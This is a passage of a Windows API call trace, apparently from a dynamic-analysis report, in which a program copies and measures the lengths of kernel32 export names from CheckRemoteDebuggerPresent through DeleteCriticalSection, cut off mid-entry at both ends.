[0055.172] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.172] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.172] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.172] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.172] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.172] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.172] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.172] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.172] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.172] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.173] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.173] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.173] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.173] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.173] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.173] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.173] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.173] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.173] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.173] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.173] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.173] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.173] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.173] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.173] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.173] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.173] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.174] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.174] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.174] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.174] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.174] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.174] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.174] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.174] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.174] lstrlenA (lpString="COPYFILEA") returned 9 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.174] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.174] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.174] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.174] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.174] lstrlenA (lpString="COPYFILEW") returned 9 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.174] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.174] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.174] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.174] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.175] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.175] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.175] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.175] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.175] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.175] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.175] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.175] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.175] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.175] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.175] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.175] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.175] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.175] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.175] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.175] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.175] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.175] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.176] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.176] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.176] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.176] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.176] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.176] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.176] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.176] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.176] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.176] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.176] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.176] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.176] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.176] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.176] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.176] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.176] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.177] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.177] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.177] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.177] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.177] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.177] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.177] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.177] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.177] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.177] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.177] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.177] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.177] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.177] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.177] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.177] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.177] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.177] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.178] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.178] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.178] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.178] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.178] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.178] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.178] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.178] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.178] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.178] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.178] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.178] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.178] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.178] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.178] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.178] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.178] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.178] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.179] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.179] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.179] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.179] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.179] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.179] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.179] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.179] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.179] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.179] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.179] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.179] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.179] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.179] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.179] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.179] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.179] lstrcpyA (in: lpString1=0x34eac0, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.180] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.180] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.180] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.180] lstrlenA (lpString="DELETEATOM") returned 10 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.180] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.180] lstrcpyA (in: lpString1=0x34eac0, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.180] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.180] lstrcpyA (in: 